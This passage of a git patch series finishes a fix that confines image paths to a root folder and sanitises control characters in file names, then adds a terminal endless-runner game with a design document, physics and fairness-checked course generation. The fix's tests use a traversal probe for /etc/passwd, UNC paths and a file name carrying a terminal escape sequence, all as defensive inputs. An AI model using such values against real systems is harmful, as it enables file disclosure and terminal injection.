lexicalRoot); + if (!inside(candidate, lexicalRoot) && !inside(candidate, realRoot)) throw outside(); let real: string; try { real = await fs.realpath(candidate); } catch { throw new ImageError('unavailable', 'The image file was not found.'); } - const realRoot = await fs.realpath(root).catch(() => root); - const relative = path.relative(realRoot, real); - if (relative.startsWith('..') || path.isAbsolute(relative)) throw new ImageError('unsafe', 'The image lies outside this document\'s folder or project, so it is not shown.'); + if (!inside(real, realRoot)) throw outside(); return real; } @@ -149,7 +160,7 @@ export class GraphicsService { const stored = longest > this.limits.storeLongSide ? scaleBox(raster, Math.max(1, Math.round((raster.width * this.limits.storeLongSide) / longest)), Math.max(1, Math.round((raster.height * this.limits.storeLongSide) / longest))) : raster; - const image: LoadedImage = {key, name: path.basename(realPath), path: realPath, info, raster: stored, fileBytes: stat.size}; + const image: LoadedImage = {key, name: safeName(path.basename(realPath)), path: realPath, info, raster: stored, fileBytes: stat.size}; this.remember(image); return image; } @@ -182,7 +193,7 @@ export class GraphicsService { const mode = decision.backend; const useText = request.surface === 'inline' || decision.inline === 'placeholder'; - if (mode === 'off') return this.textPlacement(image, box, request.owner); + if (mode === 'off') return this.textPlacement(image, limit, request.owner); if (mode === 'kitty' && useText && decision.inline === 'placeholder') return this.kittyPlacement(image, source, box, cell, request); if (request.surface === 'viewer' && (mode === 'kitty' || mode === 'iterm2' || mode === 'sixel')) return this.overlayPlacement(image, source, box, cell, request, mode); return this.artPlacement(image, source, box, request.owner); @@ -196,7 +207,8 @@ export class GraphicsService { } private textPlacement(image: LoadedImage, box: {columns: number; rows: number}, owner: unknown): Placement { - return {kind: 'text', columns: box.columns, rows: 1, lines: [`[image: ${image.name}]`], owner}; + const label = `[image: ${image.name}]`; + return {kind: 'text', columns: Math.min(box.columns, displayWidth(label)), rows: 1, lines: [truncateText(label, Math.max(4, box.columns))], owner}; } private kittyPlacement(image: LoadedImage, source: Raster, box: {columns: number; rows: number}, cell: {width: number; height: number}, request: PlaceRequest): Placement { @@ -301,6 +313,11 @@ export class GraphicsService { } } +/** A file name made safe to draw: control, format and separator characters (an escape in a name!) become marks. */ +export function safeName(name: string): string { + return name.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}\p{Zl}\p{Zp}]/gu, character => (character === '\u001b' ? '␛' : '·')).slice(0, 200); +} + function cropKey(crop: PlaceRequest['crop']): string { return crop ? `${crop.x.toFixed(4)},${crop.y.toFixed(4)},${crop.width.toFixed(4)},${crop.height.toFixed(4)}` : 'full'; } diff --git a/tests/graphicsService.test.ts b/tests/graphicsService.test.ts index 47a38722..edd0d153 100644 --- a/tests/graphicsService.test.ts +++ b/tests/graphicsService.test.ts @@ -58,6 +58,13 @@ test('references: remote, data and escaping paths are refused; local ones resolv await assert.rejects(GraphicsService.resolveReference('link/secret.png', base, root), /outside this document/u, 'a symlink out of the root is followed to its real place and refused'); await assert.rejects(GraphicsService.resolveReference(join(f.dir, 'outside', 'secret.png'), base, root), /outside this document/u); await assert.rejects(GraphicsService.resolveReference('missing.png', base, root), (error: unknown) => error instanceof ImageError && error.code === 'unavailable'); + // The same answer whether or not a path outside the root exists: nothing is learned about it. + for (const outside of ['../nope/none.png', '../outside/secret.png', '/etc/passwd', '/definitely/not/here.png']) { + await assert.rejects(GraphicsService.resolveReference(outside, base, root), (error: unknown) => error instanceof ImageError && error.code === 'unsafe', outside); + } + for (const unc of ['\\\\server\\share\\x.png', '\\\\?\\C:\\x.png']) { + await assert.rejects(GraphicsService.resolveReference(unc, base, root), (error: unknown) => error instanceof ImageError && error.code === 'unsafe', unc); + } assert.ok((await GraphicsService.resolveReference('../outside/secret.png', base, f.dir)).endsWith('outside/secret.png'), 'a wider root allows it'); } finally { f.done(); } }); @@ -152,6 +159,21 @@ test('character art: Zed, tmux, NO_COLOR and forced Unicode draw rows of exactly } }); +test('a file name with control characters is made safe wherever it is shown', async () => { + const f = fixture({mode: 'off'}); + try { + const nasty = join(f.dir, 'a\u001b]0;pwned\u0007b.png'); + writeFileSync(nasty, encodePng(raster(4, 4))); + const image = await f.service.load(nasty); + assert.doesNotMatch(image.name, /[\u0000-\u001f\u007f-\u009f]/u); + const placement = f.service.place(image, {columns: 40, rows: 10, owner: {}, surface: 'inline'}); + assert.doesNotMatch(placement.lines.join('\n'), /[\u0000-\u001f\u007f-\u009f]/u); + assert.ok(placement.lines.every(line => displayWidth(line) <= 40)); + const narrow = f.service.place(image, {columns: 10, rows: 10, owner: {}, surface: 'inline'}); + assert.ok(narrow.lines.every(line => displayWidth(line) <= 10), 'the label is cut to the width'); + } finally { f.done(); } +}); + test('off: a placeholder line names the image; nothing is decoded into cells or sent', async () => { const f = fixture({mode: 'off'}); try { From 1f869d193db5e2e141535fb848ec4d1f35f97a7c Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:49:31 +0530 Subject: [PATCH 119/157] Arcade: Vespyr Run, an endless runner with a provably fair generated course --- docs/design/arcade-run.md | 97 +++++++++ src/arcade/games/run/course.ts | 175 ++++++++++++++++ src/arcade/games/run/game.ts | 182 ++++++++++++++++ src/arcade/games/run/index.ts | 31 ++- src/arcade/games/run/physics.ts | 101 +++++++++ src/arcade/games/run/scene.ts | 173 +++++++++++++++ src/arcade/games/run/sprites.ts | 110 ++++++++++ src/arcade/games/run/world.ts | 110 ++++++++++ tests/arcadeRunGame.test.ts | 359 ++++++++++++++++++++++++++++++++ tests/arcadeRunPhysics.test.ts | 234 +++++++++++++++++++++ tests/support/runBot.ts | 47 +++++ 11 files changed, 1614 insertions(+), 5 deletions(-) create mode 100644 docs/design/arcade-run.md create mode 100644 src/arcade/games/run/course.ts create mode 100644 src/arcade/games/run/game.ts create mode 100644 src/arcade/games/run/physics.ts create mode 100644 src/arcade/games/run/scene.ts create mode 100644 src/arcade/games/run/sprites.ts create mode 100644 src/arcade/games/run/world.ts create mode 100644 tests/arcadeRunGame.test.ts create mode 100644 tests/arcadeRunPhysics.test.ts create mode 100644 tests/support/runBot.ts diff --git a/docs/design/arcade-run.md b/docs/design/arcade-run.md new file mode 100644 index 00000000..e7cb0cc0 --- /dev/null +++ b/docs/design/arcade-run.md @@ -0,0 +1,97 @@ +# Vespyr Run + +An endless runner for the Vespyr Arcade (`/game run`, aliases `vespyr-run`, `dino`). Vespyr, the NMSh cat, runs to the +right by himself across a scrolling landscape; the player jumps and ducks. The mechanics are those of the familiar +offline-browser runner; every sprite, obstacle and course is original. + +## Controls + +| Key | Effect | +|---|---| +| Space or Up | Start the run (from *ready*) and jump. A press in the last 6 steps of a jump is remembered and jumps on touchdown. | +| Down on the ground | Duck for 40 steps (0.67 s); each press restarts the timer, so a held key (which repeats) keeps the duck. A jump leaves the duck. | +| Down in the air | Fast fall: gravity x2.2 for the rest of the jump, then Vespyr lands ducking. | +| p | Pause (shared pause menu). Esc pauses a run, leaves a game not yet started. | + +**Variable height without key releases.** The terminal sends presses only, so a "hold to jump higher" is impossible. +The full jump is the default; a *second* press (Down) while airborne cuts it short. Pressing Down right after takeoff +gives a hop under half the airtime and a lower apex; later presses shorten the fall from wherever the cat is. + +## Rules and scoring + +Hit an obstacle and the run ends (the cat is shown hit for about 0.4 s, 0.13 s with reduced motion, then the shared game +over card with Retry). Score is distance: 1 point per 5 world pixels (2 per meter, 1 m = 10 px), shown as a five digit +leading-zero counter (`typeset({role: 'counter'})`). Passing every 100 points lights the counter for 0.7 s and floats a +number (not with reduced motion). A new best sets `result.record`. + +## Physics (`physics.ts`) + +Fixed step 1/60 s, semi-implicit Euler, units are world pixels (one canvas column wide, half a row tall; the world is +`columns x 2*rows`). `GRAVITY = 272 px/s^2`, `JUMP_V = 96 px/s` give a 16.2 px apex and 42 steps (0.70 s) of air. The +profile used by every proof (`JUMP_PROFILE`) is generated by the same `airStep` the simulation uses. + +Hitboxes (inside the 14 x 8 sprite): 7 wide, standing 7 tall, ducking 4 tall, starting 3 px into the sprite. Only a real +overlap is a hit; touching edges are clear. Aerial obstacles hang with their underside 6 px up: above the ducking cat, +below the standing one, so they must be ducked (jumping into one is a hit). + +Speed rises linearly from 48 to 96 px/s over the first 9000 px and then stays at 96 forever (`speedAt`). The cat's +screen position is `14%` of the width (4..24); physics does not depend on the canvas size, so a resize never changes +fairness. + +## Course generation and the fairness proof (`course.ts`) + +The course is generated ahead of the cat from `rng.fork('course')`, with a fixed number of draws per obstacle (so the +sequence never depends on what the fairness check adjusts). Kinds: stacked `crates`, a single `crate`, `yarn`, garden +`stones` and tin `cans` (ground, 3 to 6 px tall, in clusters of 1 to 3), and `bird` / `plane` (aerial, only after 600 px). +Difficulty (`difficultyAt`, 0 to 1 over the same 9000 px) raises the speed, the share of aerial obstacles +(12% to 38%), the chance and size of clusters and tightens the random extra spacing; everything is nondecreasing and +capped. + +`jumpWindow(width, height, speed)` returns the range of takeoff steps from which the real jump profile keeps the feet at +least `height + 1` px above the ground for every step of contact (plus one step either side). A wide thing is hardest +when slow, so a cluster is only used if its window is at least `SLACK_STEPS = 12` (0.2 s) at the slowest and fastest +speed it can be met at. `slot()` turns that into a schedule: a ground obstacle needs a jump started in its window and +keeps the player busy for the whole airtime plus `REACT_STEPS = 12`; an aerial one needs a duck (pressed up to 24 +steps before contact, held until it passes) and then `DUCK_REACT_STEPS = 6` before a jump. The next obstacle is +judged against the *latest* start the player could have taken (`SAFE_STEPS = 8` before its window ends), so a player +who acts anywhere inside every window, not only a perfect one, always has `SAFE_STEPS` of slack left for the next. +The generator moves each obstacle right, pixel by pixel, until that holds: the minimum safe gap is found, not guessed. +`minSafeGap(a, b, speed)` exposes it per pair and speed; the worst single-unit pair needs about 40 px at the start and 85 px at the cap (clusters and the random extra spacing add to that), which a normal +terminal shows. Duck-then-jump and jump-then-duck sequences are covered because `slot()` handles both kinds. + +## Accessibility + +* Without color (NO_COLOR) the backdrop is dropped (every lit pixel would be the same block); the ground is a solid + `████` band over a textured row, obstacles and the cat are solid shapes with openings (crate slits, eyes, ears). + With Safe Glyphs the same scene is `#` / `"` / `,` ASCII and the backdrop is also dropped. +* Reduced motion: no screen shake, flash or impact burst, no cloud drift or star twinkle, no milestone popup; the + counter still lights up. Gameplay motion (scrolling, the cat) is unchanged. +* Effects level scales dust, landing puff, impact burst and popups; `off` draws none. +* Sky and hills come from `skyAt(palette, phase)` (phase advances with distance, a full day/night every 8000 px, stars + at night); every color derives from the theme palette. +* Canvases under 20 x 8 show `Needs at least 20x8`. Pause is the host's: the game stops receiving steps, its status is + untouched. + +## Record (`arcade.json` -> `run`) + +`{best: number (score), bestDistance: number (meters), runs: number}`. Every field is validated on read (finite, +nonnegative, floored, capped at 1e9; anything else reads as 0). A finished run updates all three and counts once; +`persist()` on an unfinished run only raises `best`/`bestDistance`. Hub summary: `Best 420 · 210 m`. + +## Tests + +`tests/arcadeRunPhysics.test.ts`: jump arc numbers, gravity and landing, jump buffer, duck, fast fall, collision +boundaries (touching vs a hair inside), speed and difficulty ramp and cap, a clearable window for every emitted obstacle +at every speed, schedule verification of every consecutive pair over 120 seeds (thousands of obstacles, including +aerial and clusters), `minSafeGap` per speed and pair against every generated gap, state-hash determinism, and +simulated players on the real world: windows used early, middle, late and at random points survive 20,000 steps on +several seeds at the speed cap, while a player who never acts or only spams jump dies. +`tests/arcadeRunGame.test.ts`: state machine, scoring and the milestone, crash and result, records and corrupt data, +persistence round trip, pause/restart through the session, fresh course per seed, sprite silhouettes and obstacle art +sizes, resize at many sizes and colors, NO_COLOR and Safe Glyphs, reduced motion and effects off. + +## Limits + +Automated tests are not gameplay verification: feel (jump length, duck hold, the speed curve) and how the half-block +art looks in real terminals and themes need hands-on play. The proof covers a player who acts inside the computed +windows; it does not model key-repeat timing on a given terminal. diff --git a/src/arcade/games/run/course.ts b/src/arcade/games/run/course.ts new file mode 100644 index 00000000..0a2063f3 --- /dev/null +++ b/src/arcade/games/run/course.ts @@ -0,0 +1,175 @@ +import type {Rng} from '../../rng.js'; +import { + AERIAL_LIFT, AIR_STEPS, CAT_W, DT, DUCK_LEAD_STEPS, DUCK_REACT_STEPS, HB_X, REACT_STEPS, SAFE_STEPS, SLACK_STEPS, + difficultyAt, jumpWindow, speedAt, windowSize, +} from './physics.js'; + +/** + * The endless course: obstacles placed along the world from a seeded stream, each one only where a player who reacts in + * `REACT_STEPS` can still get past it. Positions are world pixels; the cat's sprite left edge sits at `distance`. + * + * Fairness is not a heuristic: `slot()` computes, from the real jump profile, the earliest and latest moment an action can + * start for an obstacle and the earliest moment the next action can begin (landing plus reaction), and the generator moves + * each obstacle right until that schedule leaves `SAFE_STEPS` of slack. `verifySchedule()` re-derives the same schedule + * from the final positions, so tests prove every consecutive pair rather than trusting the generator's bookkeeping. + */ +export type ObstacleKind = 'crates' | 'crate' | 'yarn' | 'stones' | 'cans' | 'bird' | 'plane'; +export interface KindSpec { w: number; h: number; air: boolean } + +export const KINDS: Readonly> = { + crates: {w: 6, h: 6, air: false}, crate: {w: 6, h: 3, air: false}, yarn: {w: 5, h: 5, air: false}, + stones: {w: 8, h: 3, air: false}, cans: {w: 4, h: 5, air: false}, + bird: {w: 10, h: 4, air: true}, plane: {w: 8, h: 3, air: true}, +}; +export const GROUND_KINDS: readonly ObstacleKind[] = ['crates', 'crate', 'yarn', 'stones', 'cans']; +export const AIR_KINDS: readonly ObstacleKind[] = ['bird', 'plane']; + +export interface Obstacle { + id: number; kind: ObstacleKind; + /** Left edge in world pixels. */ + x: number; w: number; h: number; + /** Height of the underside above the ground (0 on the ground). */ + lift: number; air: boolean; + /** Identical units side by side (a row of cans). */ + count: number; +} + +export const clusterWidth = (kind: ObstacleKind, count: number): number => KINDS[kind].w * count + (count - 1); + +/** The first obstacle's contact distance, the closest two may sit, and the extra margin the generator always adds. */ +export const START_PX = 110; +export const MIN_GAP_PX = 14; +export const MARGIN_PX = 6; +/** Aerial obstacles never appear before this distance. */ +export const AIR_FROM_PX = 600; +export const MAX_CLUSTER = 3; + +export interface Slot { + earliest: number; latest: number; start: number; + /** Distance at which the player can next act, and the reaction (steps) it needs after that. */ + free: number; react: number; + /** Steps of timing slack left when the player acts as early as the schedule allows. Negative: unreachable. */ + slack: number; +} + +/** + * Where an obstacle whose contact begins at cat distance `contact` falls in the schedule. `per` is pixels travelled per step. A ground obstacle asks for a jump (the whole airtime is then busy); an aerial one for a duck + * held until it has passed, which a jump can leave at once after `DUCK_REACT_STEPS`. + */ +export function slot(o: {air: boolean; w: number; h: number}, contact: number, per: number, free: number, react: number): Slot | undefined { + if (o.air) { + const earliest = contact - DUCK_LEAD_STEPS * per; + const start = Math.max(earliest, free + react * per); + return {earliest, latest: contact, start, free: Math.max(free, contact + o.w + CAT_W), react: DUCK_REACT_STEPS, slack: (contact - start) / per}; + } + const window = jumpWindow(o.w, o.h, per / DT); + if (!window) return undefined; + const earliest = contact + window.kmin * per; + const latest = contact + window.kmax * per; + const start = Math.max(earliest, free + react * per); + // The next obstacle is judged against the LATEST start the player may take (SAFE_STEPS inside the window's end), not + // the earliest: so every player who acts anywhere inside the window, not only the sharpest, can still meet the next one. + return {earliest, latest, start, free: Math.max(start, latest - SAFE_STEPS * per) + AIR_STEPS * per, react: REACT_STEPS, slack: (latest - start) / per}; +} + +/** Contact distance for an obstacle at world x (the cat's hitbox right edge reaches its left edge). */ +export const contactOf = (o: {x: number}): number => o.x - HB_X - CAT_W; + +/** + * The minimum safe gap (pixels between the first obstacle's right edge and the second's left edge) at `speed`: the closest + * the second can sit when the player takes the first as early as possible and then still has `SAFE_STEPS` of slack. + * Undefined when either obstacle cannot be cleared at that speed. + */ +export function minSafeGap(a: {air: boolean; w: number; h: number}, b: {air: boolean; w: number; h: number}, speed: number): number | undefined { + const per = speed * DT; + const first = slot(a, 0, per, -Infinity, 0); + if (!first || first.slack < SAFE_STEPS) return undefined; + for (let gap = 0; gap < 2000; gap += 0.25) { + const second = slot(b, a.w + gap, per, first.free, first.react); + if (!second) return undefined; + if (second.slack >= SAFE_STEPS) return gap; + } + return undefined; +} + +export interface Verdict { ok: boolean; worstSlack: number; failedAt: number } + +/** Replay a generated course against the schedule at the speeds the cat has when it arrives. */ +export function verifySchedule(obstacles: readonly Obstacle[]): Verdict { + let free = 0; + let react = 0; + let worst = Infinity; + for (const [index, o] of obstacles.entries()) { + const contact = contactOf(o); + let next: Slot | undefined; + let slack = Infinity; + for (const ahead of [0, 60]) { + const probe = slot(o, contact, speedAt(contact + ahead) * DT, free, react); + if (!probe) return {ok: false, worstSlack: -Infinity, failedAt: index}; + slack = Math.min(slack, probe.slack); + next = probe; + } + worst = Math.min(worst, slack); + if (slack < SAFE_STEPS) return {ok: false, worstSlack: worst, failedAt: index}; + free = next!.free; + react = next!.react; + } + return {ok: true, worstSlack: worst, failedAt: -1}; +} + +export class Course { + readonly obstacles: Obstacle[] = []; + private free = 0; + private react = 0; + private cursor = 0; + private lastRight = -Infinity; + private nextId = 1; + /** World x up to which the course has been generated. */ + frontier = 0; + + constructor(private readonly rng: Rng) {} + + ensure(untilX: number): void { while (this.frontier < untilX) this.emit(); } + /** Forget obstacles wholly behind `x`. */ + prune(x: number): void { while (this.obstacles.length && this.obstacles[0]!.x + this.obstacles[0]!.w < x) this.obstacles.shift(); } + + private emit(): void { + const rng = this.rng; + const base = Math.max(this.free, this.cursor); + const diff = difficultyAt(base); + // A fixed number of draws per obstacle, whatever gets reduced below, so the stream never depends on feasibility. + const [airRoll, kindRoll, twoRoll, threeRoll, gapRoll] = [rng.next(), rng.next(), rng.next(), rng.next(), rng.next()]; + const air = base > AIR_FROM_PX && airRoll < 0.12 + 0.26 * diff; + const kind = (air ? AIR_KINDS : GROUND_KINDS)[Math.floor(kindRoll * (air ? AIR_KINDS : GROUND_KINDS).length)]!; + const spec = KINDS[kind]; + // Feasibility is judged at both ends of the speeds this obstacle could meet (wide ones are hardest when slow). + const speeds = [speedAt(base), speedAt(base + 400)]; + let count = air ? 1 : 1 + (twoRoll < 0.15 + 0.45 * diff ? 1 : 0) + (threeRoll < diff * 0.3 ? 1 : 0); + while (count > 1 && speeds.some(speed => windowSize(jumpWindow(clusterWidth(kind, count), spec.h, speed)) < SLACK_STEPS)) count -= 1; + const w = air ? spec.w : clusterWidth(kind, count); + const lower = Math.max(START_PX, this.lastRight + MIN_GAP_PX - HB_X - CAT_W); + // Closed-form first guess for the minimum safe contact, refined by the exact check below. + const guess = speedAt(base + 60) * DT; + const kmax = air ? 0 : jumpWindow(w, spec.h, guess / DT)?.kmax ?? 0; + let contact = Math.max(lower, this.free + (this.react + SAFE_STEPS - kmax) * guess - 4) + MARGIN_PX; + const spread = 150 - 110 * diff; + contact += gapRoll * spread; + const shape = {air, w, h: spec.h}; + // Move right until the schedule leaves the required slack: the minimum safe gap, found, not guessed. + for (let guard = 0; guard < 4000; guard += 1) { + const probe = slot(shape, contact, speedAt(contact + 60) * DT, this.free, this.react); + const near = slot(shape, contact, speedAt(contact) * DT, this.free, this.react); + if (probe && near && Math.min(probe.slack, near.slack) >= SAFE_STEPS && contact >= lower) break; + contact += 1; + } + const final = slot(shape, contact, speedAt(contact + 60) * DT, this.free, this.react)!; + const x = contact + HB_X + CAT_W; + this.obstacles.push({id: this.nextId, kind, x, w, h: spec.h, lift: air ? AERIAL_LIFT : 0, air, count}); + this.nextId += 1; + this.free = final.free; + this.react = final.react; + this.cursor = contact; + this.lastRight = x + w; + this.frontier = x + w; + } +} diff --git a/src/arcade/games/run/game.ts b/src/arcade/games/run/game.ts new file mode 100644 index 00000000..59bb2a3b --- /dev/null +++ b/src/arcade/games/run/game.ts @@ -0,0 +1,182 @@ +import type {Key} from '../../../terminal/keys.js'; +import type {Canvas} from '../../Canvas.js'; +import {ParticleSystem, Popups, Flash, Shake} from '../../effects.js'; +import type {ArcadePalette} from '../../palette.js'; +import type {ControlHint, GameContext, GameInstance, GameKeyResult, GameResult, GameStatus} from '../../types.js'; +import {drawTooSmall, geometry, MIN_COLUMNS, MIN_ROWS, RunScene, type Geometry} from './scene.js'; +import type {CatLook} from './sprites.js'; +import {RunWorld} from './world.js'; + +/** What a person's saved Vespyr Run record holds, read defensively (the file can be old, empty or hand-edited). */ +export interface RunRecord { best: number; bestDistance: number; runs: number } + +const clean = (value: unknown): number => (typeof value === 'number' && Number.isFinite(value) && value > 0 ? Math.min(Math.floor(value), 1_000_000_000) : 0); +export function readRecord(raw: Readonly>): RunRecord { + return {best: clean(raw.best), bestDistance: clean(raw.bestDistance), runs: clean(raw.runs)}; +} + +const POP_MS = 700; +/** After a crash the world holds still this many steps (the cat shown hit) before the game over card: shorter when motion is reduced. */ +const DYING_STEPS = 24; +const DYING_STEPS_REDUCED = 8; +const LAND_STEPS = 7; + +/** Test seams: a prepared world or a particle pool the test can inspect. The arcade always uses the defaults. */ +export interface RunParts { world?: RunWorld; particles?: ParticleSystem } + +export function createRunGame(context: GameContext, parts: RunParts = {}): GameInstance { + const courseRng = context.rng.fork('course'); + const fxRng = context.rng.fork('fx'); + const world = parts.world ?? new RunWorld(courseRng); + const scene = new RunScene(); + const particles = parts.particles ?? new ParticleSystem(fxRng, 140, context.motion.effects); + const popups = new Popups(5, context.motion.effects); + const flash = new Flash(); + const shake = new Shake(); + const decor = context.color !== 'none' && !context.safeGlyphs; + let size = context.size; + let geo: Geometry = geometry(size.columns, size.rows); + let status: GameStatus = 'ready'; + let result: GameResult | undefined; + let palette: ArcadePalette | undefined; + let saved = readRecord(context.record.get()); + const startBest = saved.best; + let visualMs = 0; + let popMs = 0; + let milestone = 0; + let landSteps = 0; + let dying = 0; + let disposed = false; + + const tooSmall = (): boolean => size.columns < MIN_COLUMNS || size.rows < MIN_ROWS; + + function look(): CatLook { + const d = world.distance; + if (status === 'ready') { + const blinking = visualMs % 3200 < 150; + return {shape: blinking ? 'blink' : 'idle', frame: 0, tail: Math.floor(visualMs / 600) % 4, twitch: (visualMs + 1300) % 4300 < 180}; + } + const tail = Math.floor(d / 12) % 4; + const twitch = Math.floor(d) % 420 < 16; + if (!world.alive) return {shape: 'hit', frame: 0, tail, twitch: false}; + if (world.airborne) return {shape: world.vy > 0 ? 'air' : 'fall', frame: 0, tail, twitch}; + if (world.ducking) return {shape: 'duck', frame: Math.floor(d / 6) % 2, tail, twitch}; + if (landSteps > 0) return {shape: 'land', frame: 0, tail, twitch}; + return {shape: 'run', frame: Math.floor(d / 5) % 6, tail, twitch}; + } + + function finish(): void { + status = 'over'; + const score = world.score; + const previous = readRecord(context.record.get()); + const next: RunRecord = {best: Math.max(previous.best, score), bestDistance: Math.max(previous.bestDistance, world.meters), runs: previous.runs + 1}; + context.record.update(record => { record.best = next.best; record.bestDistance = next.bestDistance; record.runs = next.runs; }); + saved = next; + result = { + score, scoreText: String(score).padStart(5, '0'), record: score > 0 && score > startBest, + details: [`Distance ${world.meters} m`, `Best ${next.best}`, `Runs ${next.runs}`], + }; + } + + function dust(): void { + if (!palette || !decor) return; + if (world.steps % 4 === 0 && !world.airborne && world.alive) { + particles.burst({x: geo.catX + 3, y: geo.groundY - 1, count: 1, speed: world.speed * 0.6, angle: Math.PI, spread: 0.5, life: 380, gravity: -40, drag: 1.5, colors: [palette.muted, palette.faint]}); + } + } + + const instance: GameInstance = { + get status() { return status; }, + get result() { return result; }, + stepsPerSecond: 60, + refreshMs: 100, + + step() { + if (status !== 'playing') return; + if (dying > 0) { dying -= 1; if (dying === 0) finish(); return; } + const outcome = world.step(); + if (landSteps > 0) landSteps -= 1; + dust(); + if (outcome.landedAfter >= 3 && palette && decor) { + landSteps = LAND_STEPS; + particles.burst({x: geo.catX + 5, y: geo.groundY - 1, count: 8, speed: 34, angle: -Math.PI / 2, spread: 1.3, life: 420, gravity: 60, drag: 2, colors: [palette.muted, palette.faint, palette.haze]}); + } else if (outcome.landedAfter >= 3) landSteps = LAND_STEPS; + const reached = Math.floor(world.score / 100); + if (reached > milestone) { + milestone = reached; + popMs = POP_MS; + if (!context.motion.reduced && palette) popups.add(String(reached * 100), geo.catX + 7, Math.max(1, Math.floor(geo.groundY / 2) - 11), palette.accent); + } + if (outcome.hit) { + dying = context.motion.reduced ? DYING_STEPS_REDUCED : DYING_STEPS; + if (!context.motion.reduced && palette) { + flash.trigger(true); + shake.trigger(context.motion.effects !== 'off'); + particles.burst({x: geo.catX + 7, y: geo.groundY - 6, count: 26, speed: 70, spread: Math.PI, life: 650, gravity: 90, drag: 0.8, colors: [palette.warn, palette.bad, palette.ink, palette.accent]}); + } + } + }, + + animate(dtMs) { + visualMs += dtMs; + particles.update(dtMs); + popups.update(dtMs); + flash.update(dtMs); + shake.update(dtMs); + popMs = Math.max(0, popMs - dtMs); + }, + + key(key: Key): GameKeyResult { + const jump = key.kind === 'up' || (key.kind === 'text' && key.value === ' '); + if (status === 'ready') { + if (!jump) return 'ignored'; + status = 'playing'; + world.jump(); + return 'handled'; + } + if (status !== 'playing') return 'ignored'; + if (dying > 0) return 'handled'; + if (jump) { world.jump(); return 'handled'; } + if (key.kind === 'down') { world.duck(); return 'handled'; } + return 'ignored'; + }, + + render(canvas: Canvas, alpha: number, colors: ArcadePalette) { + palette = colors; + if (tooSmall() || canvas.width < MIN_COLUMNS || canvas.height < MIN_ROWS) { drawTooSmall(canvas, colors); return; } + scene.draw(canvas, { + world, alpha: status === 'playing' && dying === 0 ? alpha : 1, palette: colors, decor, reduced: context.motion.reduced, visualMs, + look: look(), particles, popups, shake: shake.offset, flash: flash.amount, + score: world.score, best: Math.max(saved.best, world.score), pop: popMs / POP_MS, + phase: status === 'ready' ? 'ready' : status === 'over' ? 'over' : 'playing', + }); + }, + + resize(next) { + size = next; + geo = geometry(next.columns, next.rows); + particles.clear(); + popups.clear(); + }, + + pause() { /* The host owns the paused state; the fixed steps simply stop arriving. Nothing here advances on its own. */ }, + + hints(): readonly ControlHint[] { + return status === 'ready' + ? [{keys: 'Space/Up', action: 'run'}, {keys: 'Esc', action: 'menu'}] + : [{keys: 'Space/Up', action: 'jump'}, {keys: 'Down', action: 'duck'}, {keys: 'p', action: 'pause'}, {keys: 'Esc', action: 'menu'}]; + }, + + persist() { + // A run left unfinished keeps a better score than the saved best, but is not counted as a completed run. + if (disposed || status !== 'playing' || world.score <= saved.best) return; + const score = world.score; + const meters = world.meters; + context.record.update(record => { const current = readRecord(record); record.best = Math.max(current.best, score); record.bestDistance = Math.max(current.bestDistance, meters); record.runs = current.runs; }); + saved = readRecord(context.record.get()); + }, + + dispose() { disposed = true; particles.clear(); popups.clear(); }, + }; + return instance; +} diff --git a/src/arcade/games/run/index.ts b/src/arcade/games/run/index.ts index f6ca3bb1..bf11332b 100644 --- a/src/arcade/games/run/index.ts +++ b/src/arcade/games/run/index.ts @@ -1,7 +1,28 @@ +import {mixRgb} from '../../../chroma/chroma.js'; +import {PixelBuffer, type Canvas} from '../../Canvas.js'; +import type {ArcadePalette} from '../../palette.js'; import type {GameDefinition} from '../../types.js'; -import {placeholderGame} from '../placeholder.js'; +import {createRunGame, readRecord} from './game.js'; +import {geometry} from './scene.js'; +import {catSprite, obstacleSprite} from './sprites.js'; -/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ -export const runGame: GameDefinition = placeholderGame({ - id: 'run', aliases: ['vespyr-run', 'dino'], title: 'Vespyr Run', tagline: 'Endless runner', description: 'Vespyr dashes across a scrolling landscape. Jump the rocks, duck the swooping birds.', kind: 'action', -}); +/** Vespyr Run: an endless runner. The cat runs by itself; Space or Up jumps, Down ducks. See docs/design/arcade-run.md. */ +export const runGame: GameDefinition = { + id: 'run', aliases: ['vespyr-run', 'dino'], title: 'Vespyr Run', tagline: 'Endless runner', + description: 'Vespyr dashes across a scrolling landscape. Jump the crates and yarn, duck the swooping birds.', kind: 'action', + controls: [{keys: 'Space/Up', action: 'jump'}, {keys: 'Down', action: 'duck'}], + summary: record => { const saved = readRecord(record); return saved.runs > 0 ? `Best ${saved.best} · ${saved.bestDistance} m` : 'Not played yet'; }, + preview(canvas: Canvas, frame: number, palette: ArcadePalette) { + const geo = geometry(canvas.width, canvas.height); + const buffer = new PixelBuffer(geo.width, geo.height); + buffer.rect(0, geo.groundY, geo.width, 1, palette.accent); + buffer.rect(0, geo.groundY + 1, geo.width, 1, mixRgb(palette.accent, palette.deep, 0.55)); + const span = geo.width + 16; + const x = geo.width - ((frame * 3) % span); + const hop = Math.max(0, 9 - Math.abs(x - geo.catX - 14) * 0.9); + buffer.sprite(obstacleSprite('crates', palette), x, geo.groundY - 6); + buffer.sprite(catSprite({shape: hop > 0.5 ? 'air' : 'run', frame: frame % 6, tail: Math.floor(frame / 3) % 4, twitch: false}, palette), geo.catX, geo.groundY - 8 - Math.round(hop), true); + canvas.blit(buffer); + }, + create: context => createRunGame(context), +}; diff --git a/src/arcade/games/run/physics.ts b/src/arcade/games/run/physics.ts new file mode 100644 index 00000000..39fe0a56 --- /dev/null +++ b/src/arcade/games/run/physics.ts @@ -0,0 +1,101 @@ +/** + * Vespyr Run physics and the fairness arithmetic. Pure numbers, no drawing, no randomness. + * + * Units: one world pixel is one canvas column wide and half a cell row tall. Time advances in fixed steps of 1/60 s. + * Everything the generator promises (a gap is crossable, an obstacle is clearable) is computed here from the same + * `airStep` the simulation uses, so the proof and the game cannot drift apart. + */ +export const STEPS_PER_SECOND = 60; +export const DT = 1 / STEPS_PER_SECOND; +export const STEP_MS = 1000 / STEPS_PER_SECOND; + +/** Pixels per second squared and pixels per second at takeoff. */ +export const GRAVITY = 272; +export const JUMP_V = 96; +/** Pressing Down in the air multiplies gravity for the rest of that jump: a short hop. */ +export const FAST_FALL = 2.2; + +/** The cat sprite is 14 x 8 pixels; the hitbox is inside it (the tail, ear tips and whiskers do not hurt). */ +export const SPRITE_W = 14; +export const 